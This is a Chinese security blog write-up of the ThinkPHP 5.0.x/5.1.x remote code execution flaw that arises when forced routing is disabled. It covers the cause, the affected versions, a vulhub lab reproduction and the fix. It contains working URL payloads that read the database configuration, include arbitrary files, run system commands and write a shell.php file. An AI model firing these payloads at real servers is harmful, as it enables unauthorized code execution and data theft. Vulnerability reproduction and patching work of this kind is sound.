ThinkPHP5 5.0.22/5.1.29 未开启强制路由rce


ThinkPHP5 5.0.22/5.1.29 未开启强制路由rce

漏洞成因

因为框架对传入的路由参数过滤不严格,没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以操作非预期的控制器类执行任意方法,从而导致rce

影响版本

5.0.5-5.0.22(5.0.x)
5.1.0-5.1.30(5.1.x)

payload

5.0.x

1
2
3
4
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.1.x

1
2
3
4
5
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

复现

vulhub thinkphp 5-rce

image-20211025133109582

直接使用5.0.x的poc触发漏洞

默认情况下没有开启强路由,而是默认开启路由兼容模式

由于没有开启强路由说明可以使用路由兼容模式的s参数,而对控制器名进行严格检测说明可能可以调用任意的控制器,所以得出思路就是利用http://ip/?s=模块/控制器/方法来测试

构造?s=index/think\config/get&name=database.username

获取配置信息

image-20211025170829378

其中5.1.x的一部分poc并不能利用,原因是一些payload在Windows的主机上是不可利用的,踩坑记录详见第一篇文章的总结

由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类

所以可以使用兼容多平台的payload,贴上师傅总结的payload

5.1是下面这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error
think\Container
think\App
think\Env
think\Config
think\Hook
think\Facade
think\facade\Env
env
think\Db
think\Lang
think\Request
think\Log
think\log\driver\File
think\facade\Route
route
think\Route
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

1
2
3
4
5
6
7
8
9
10
think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

1
2
3
4
5
6
7
8
9
10
think\Route 
think\Loader
think\Error
think\App
think\Env
think\Config
think\Hook
think\Lang
think\Request
think\Log

修复

升级框架版本,新版本中修复了控制器的调用

参考文章

[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录

ThinkPHP V5 漏洞复现


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录